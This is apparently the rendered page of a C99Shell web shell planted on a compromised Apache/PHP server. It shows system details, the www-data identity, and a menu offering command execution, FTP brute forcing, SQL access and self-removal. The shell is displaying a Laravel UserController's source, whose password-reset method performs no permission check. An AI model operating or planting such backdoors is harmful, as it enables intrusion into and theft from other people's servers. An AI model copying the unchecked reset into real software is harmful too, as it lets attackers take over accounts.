!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Http/Controllers/   drwxrwxr-x
Free 13.07 GB of 57.97 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserController.php (19.77 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\CustomField;
use 
App\Models\Employee;
use 
App\Models\ExperienceCertificate;
use 
App\Models\GenerateOfferLetter;
use 
App\Models\JoiningLetter;
use 
App\Models\NOC;
use 
App\Models\User;
use 
App\Models\UserCompany;
use 
Auth;
use 
File;
use 
App\Models\Utility;
use 
App\Models\Order;
use 
App\Models\Plan;
use 
App\Models\UserToDo;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Mail;
use 
Session;
use 
Spatie\Permission\Models\Role;



class 
UserController extends Controller
{

    public function 
index()
    {
        
$user \Auth::user();
        if(
\Auth::user()->can('manage user'))
        {
            if(
\Auth::user()->type == 'super admin')
            {
                
$users User::where('created_by''='$user->creatorId())->where('type''=''company')->get();
            }
            else
            {
                
$users User::where('created_by''='$user->creatorId())->where('type''!=''client')->get();
            }

            return 
view('user.index')->with('users'$users);
        }
        else
        {
            return 
redirect()->back();
        }

    }

    public function 
create()
    {

        
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''user')->get();
        
$user  \Auth::user();
        
$roles Role::where('created_by''='$user->creatorId())->where('name','!=','client')->get()->pluck('name''id');
        if(
\Auth::user()->can('create user'))
        {
            return 
view('user.create'compact('roles''customFields'));
        }
        else
        {
            return 
redirect()->back();
        }
    }

    public function 
store(Request $request)
    {

        if(
\Auth::user()->can('create user'))
        {
            
$default_language DB::table('settings')->select('value')->where('name''default_language')->first();
            if(
\Auth::user()->type == 'super admin')
            {
                
$validator \Validator::make(
                    
$request->all(), [
                                       
'name' => 'required|max:120',
                                       
'email' => 'required|email|unique:users',
                                       
'password' => 'required|min:6',
                                   ]
                );
                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }
                
$user               = new User();
                
$user['name']       = $request->name;
                
$user['email']      = $request->email;
                
$psw                $request->password;
                
$user['password']   = Hash::make($request->password);
                
$user['type']       = 'company';
                
$user['default_pipeline'] = 1;
                
$user['plan'] = 1;
                
$user['lang']       = !empty($default_language) ? $default_language->value '';
                
$user['created_by'] = \Auth::user()->creatorId();
                
$user['plan']       = Plan::first()->id;
                
$user['email_verified_at'] = date('Y-m-d H:i:s');

                
$user->save();
                
$role_r Role::findByName('company');
                
$user->assignRole($role_r);
//                $user->userDefaultData();
                
$user->userDefaultDataRegister($user->id);
                
$user->userWarehouseRegister($user->id);

                
//default bank account for new company
                
$user->userDefaultBankAccount($user->id);

                
Utility::chartOfAccountTypeData($user->id);
                
Utility::chartOfAccountData($user);
                
// default chart of account for new company
                
Utility::chartOfAccountData1($user->id);

                
Utility::pipeline_lead_deal_Stage($user->id);
                
Utility::project_task_stages($user->id);
                
Utility::labels($user->id);
                
Utility::sources($user->id);
                
Utility::jobStage($user->id);
                
GenerateOfferLetter::defaultOfferLetterRegister($user->id);
                
ExperienceCertificate::defaultExpCertificatRegister($user->id);
                
JoiningLetter::defaultJoiningLetterRegister($user->id);
                
NOC::defaultNocCertificateRegister($user->id);
            }
            else
            {
                
$validator \Validator::make(
                    
$request->all(), [
                                       
'name' => 'required|max:120',
                                       
'email' => 'required|email|unique:users',
                                       
'password' => 'required|min:6',
                                       
'role' => 'required',
                                   ]
                );
                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();
                    return 
redirect()->back()->with('error'$messages->first());
                }


                
$objUser    \Auth::user()->creatorId();
                
$objUser =User::find($objUser);
                
$user User::find(\Auth::user()->created_by);
                
$total_user $objUser->countUsers();
                
$plan       Plan::find($objUser->plan);
                if(
$total_user $plan->max_users || $plan->max_users == -1)
                {
                    
$role_r                Role::findById($request->role);
                    
$psw                   $request->password;
                    
$request['password']   = Hash::make($request->password);
                    
$request['type']       = $role_r->name;
                    
$request['lang']       = !empty($default_language) ? $default_language->value 'en';
                    
$request['created_by'] = \Auth::user()->creatorId();
                    
$request['email_verified_at'] = date('Y-m-d H:i:s');

                    
$user User::create($request->all());
                    
$user->assignRole($role_r);
                    if(
$request['type'] != 'client')
                      
\App\Models\Utility::employeeDetails($user->id,\Auth::user()->creatorId());
                }
                else
                {
                    return 
redirect()->back()->with('error'__('Your user limit is over, Please upgrade plan.'));
                }
            }
            
// Send Email
            
$setings Utility::settings();


            if(
$setings['new_user'] == 1) {

                
$user->password $psw;
                
$user->type $role_r->name;
                
$user->userDefaultDataRegister($user->id);

                
$userArr = [
                    
'email' => $user->email,
                    
'password' => $user->password,
                ];
                
$resp Utility::sendEmailTemplate('new_user', [$user->id => $user->email], $userArr);


                return 
redirect()->route('users.index')->with('success'__('User successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));
            }
            return 
redirect()->route('users.index')->with('success'__('User successfully created.'));

        }
        else
        {
            return 
redirect()->back();
        }

    }

    public function 
edit($id)
    {
        
$user  \Auth::user();
        
$roles Role::where('created_by''='$user->creatorId())->where('name','!=','client')->get()->pluck('name''id');
        if(
\Auth::user()->can('edit user'))
        {
            
$user              User::findOrFail($id);
            
$user->customField CustomField::getData($user'user');
            
$customFields      CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''user')->get();

            return 
view('user.edit'compact('user''roles''customFields'));
        }
        else
        {
            return 
redirect()->back();
        }

    }


    public function 
update(Request $request$id)
    {

        if(
\Auth::user()->can('edit user'))
        {
            if(
\Auth::user()->type == 'super admin')
            {
                
$user User::findOrFail($id);
                
$validator \Validator::make(
                    
$request->all(), [
                                       
'name' => 'required|max:120',
                                       
'email' => 'required|email|unique:users,email,' $id,
                                   ]
                );
                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();
                    return 
redirect()->back()->with('error'$messages->first());
                }

//                $role = Role::findById($request->role);
                
$role Role::findByName('company');
                
$input $request->all();
                
$input['type'] = $role->name;

                
$user->fill($input)->save();
                
CustomField::saveData($user$request->customField);

                
$roles[] = $role->id;
                
$user->roles()->sync($roles);

                return 
redirect()->route('users.index')->with(
                    
'success''User successfully updated.'
                
);
            }
            else
            {
                
$user User::findOrFail($id);
                
$this->validate(
                    
$request, [
                                
'name' => 'required|max:120',
                                
'email' => 'required|email|unique:users,email,' $id,
                                
'role' => 'required',
                            ]
                );

                
$role          Role::findById($request->role);
                
$input         $request->all();
                
$input['type'] = $role->name;
                
$user->fill($input)->save();
                
Utility::employeeDetailsUpdate($user->id,\Auth::user()->creatorId());
                
CustomField::saveData($user$request->customField);

                
$roles[] = $request->role;
                
$user->roles()->sync($roles);

                return 
redirect()->route('users.index')->with(
                    
'success''User successfully updated.'
                
);
            }
        }
        else
        {
            return 
redirect()->back();
        }
    }


    public function 
destroy($id)
    {

        if(
\Auth::user()->can('delete user'))
        {
            
$user User::find($id);
            if(
$user)
            {
                if(
\Auth::user()->type == 'super admin')
                {
                    if(
$user->delete_status == 0)
                    {
                        
$user->delete_status 1;
                    }
                    else
                    {
                        
$user->delete_status 0;
                    }
                    
$user->save();
                }
                if(
\Auth::user()->type == 'company')
                {
                    
$employee Employee::where(['user_id' => $user->id])->delete();
                    if(
$employee){
                        
$delete_user User::where(['id' => $user->id])->delete();
                        if(
$delete_user){
                            return 
redirect()->route('users.index')->with('success'__('User successfully deleted .'));
                        }else{
                            return 
redirect()->back()->with('error'__('Something is wrong.'));
                        }
                    }else{
                        return 
redirect()->back()->with('error'__('Something is wrong.'));
                    }
                }

                return 
redirect()->route('users.index')->with('success'__('User successfully deleted .'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Something is wrong.'));
            }
        }
        else
        {
            return 
redirect()->back();
        }
    }

    public function 
profile()
    {
        
$userDetail              \Auth::user();
        
$userDetail->customField CustomField::getData($userDetail'user');
        
$customFields            CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''user')->get();

        return 
view('user.profile'compact('userDetail''customFields'));
    }

    public function 
editprofile(Request $request)
    {
        
$userDetail \Auth::user();
        
$user       User::findOrFail($userDetail['id']);
        
$this->validate(
            
$request, [
                        
'name' => 'required|max:120',
                        
'email' => 'required|email|unique:users,email,' $userDetail['id'],
                    ]
        );
        if(
$request->hasFile('profile'))
        {
            
$filenameWithExt $request->file('profile')->getClientOriginalName();
            
$filename        pathinfo($filenameWithExtPATHINFO_FILENAME);
            
$extension       $request->file('profile')->getClientOriginalExtension();
            
$fileNameToStore $filename '_' time() . '.' $extension;

            
$settings Utility::getStorageSetting();
            if(
$settings['storage_setting']=='local')
            {
                
$dir        'uploads/avatar/';
            }
            else{
                
$dir        'uploads/avatar';
            }

            
$image_path $dir $userDetail['avatar'];

            if(
File::exists($image_path))
            {
                
File::delete($image_path);
            }


            
$url '';
            
$path Utility::upload_file($request,'profile',$fileNameToStore,$dir,[]);
            if(
$path['flag'] == 1)
            {
                
$url $path['url'];
            }else{
                return 
redirect()->route('profile'\Auth::user()->id)->with('error'__($path['msg']));
            }

//            $dir        = storage_path('uploads/avatar/');
//            $image_path = $dir . $userDetail['avatar'];
//
//            if(File::exists($image_path))
//            {
//                File::delete($image_path);
//            }
//
//            if(!file_exists($dir))
//            {
//                mkdir($dir, 0777, true);
//            }
//            $path = $request->file('profile')->storeAs('uploads/avatar/', $fileNameToStore);

        
}

        if(!empty(
$request->profile))
        {
            
$user['avatar'] = $fileNameToStore;
        }
        
$user['name']  = $request['name'];
        
$user['email'] = $request['email'];
        
$user->save();
        
CustomField::saveData($user$request->customField);

        return 
redirect()->route('dashboard')->with(
            
'success''Profile successfully updated.'
        
);
    }

    public function 
updatePassword(Request $request)
    {

        if(
Auth::Check())
        {
            
$request->validate(
                [
                    
'old_password' => 'required',
                    
'password' => 'required|min:6',
                    
'password_confirmation' => 'required|same:password',
                ]
            );
            
$objUser          Auth::user();
            
$request_data     $request->All();
            
$current_password $objUser->password;
            if(
Hash::check($request_data['old_password'], $current_password))
            {
                
$user_id            Auth::User()->id;
                
$obj_user           User::find($user_id);
                
$obj_user->password Hash::make($request_data['password']);;
                
$obj_user->save();

                return 
redirect()->route('profile'$objUser->id)->with('success'__('Password successfully updated.'));
            }
            else
            {
                return 
redirect()->route('profile'$objUser->id)->with('error'__('Please enter correct current password.'));
            }
        }
        else
        {
            return 
redirect()->route('profile'\Auth::user()->id)->with('error'__('Something is wrong.'));
        }
    }
    
// User To do module
  
public function todo_store(Request $request)
  {
      
$request->validate(
          [
'title' => 'required|max:120']
      );

      
$post            $request->all();
      
$post['user_id'] = Auth::user()->id;
      
$todo            UserToDo::create($post);


      
$todo->updateUrl route(
          
'todo.update', [
                           
$todo->id,
                       ]
      );
      
$todo->deleteUrl route(
          
'todo.destroy', [
                            
$todo->id,
                        ]
      );

      return 
$todo->toJson();
  }

  public function 
todo_update($todo_id)
  {
      
$user_todo UserToDo::find($todo_id);
      if(
$user_todo->is_complete == 0)
      {
          
$user_todo->is_complete 1;
      }
      else
      {
          
$user_todo->is_complete 0;
      }
      
$user_todo->save();
      return 
$user_todo->toJson();
  }

  public function 
todo_destroy($id)
  {
      
$todo UserToDo::find($id);
      
$todo->delete();

      return 
true;
  }

  
// change mode 'dark or light'
  
public function changeMode()
  {
      
$usr \Auth::user();
      if(
$usr->mode == 'light')
      {
          
$usr->mode      'dark';
          
$usr->dark_mode 1;
      }
      else
      {
          
$usr->mode      'light';
          
$usr->dark_mode 0;
      }
      
$usr->save();

      return 
redirect()->back();
  }

  public function 
upgradePlan($user_id)
    {
        
$user User::find($user_id);
        
$plans Plan::get();
        return 
view('user.plan'compact('user''plans'));
    }
    public function 
activePlan($user_id$plan_id)
    {

        
$user       User::find($user_id);
        
$assignPlan $user->assignPlan($plan_id);
        
$plan       Plan::find($plan_id);
        if(
$assignPlan['is_success'] == true && !empty($plan))
        {
            
$orderID strtoupper(str_replace('.'''uniqid(''true)));
            
Order::create(
                [
                    
'order_id' => $orderID,
                    
'name' => null,
                    
'card_number' => null,
                    
'card_exp_month' => null,
                    
'card_exp_year' => null,
                    
'plan_name' => $plan->name,
                    
'plan_id' => $plan->id,
                    
'price' => $plan->price,
                    
'price_currency' => isset(\Auth::user()->planPrice()['currency']) ? \Auth::user()->planPrice()['currency'] : '',
                    
'txn_id' => '',
                    
'payment_status' => 'succeeded',
                    
'receipt' => null,
                    
'user_id' => $user->id,
                ]
            );

            return 
redirect()->back()->with('success''Plan successfully upgraded.');
        }
        else
        {
            return 
redirect()->back()->with('error''Plan fail to upgrade.');
        }

    }

    public function 
userPassword($id)
    {
        
$eId        \Crypt::decrypt($id);
        
$user User::find($eId);

        return 
view('user.reset'compact('user'));

    }

    public function 
userPasswordReset(Request $request$id)
    {
        
$validator \Validator::make(
            
$request->all(), [
                               
'password' => 'required|confirmed|same:password_confirmation',
                           ]
        );

        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }


        
$user                 User::where('id'$id)->first();
        
$user->forceFill([
                             
'password' => Hash::make($request->password),
                         ])->
save();

        return 
redirect()->route('users.index')->with(
            
'success''User Password successfully updated.'
        
);


    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0081 ]--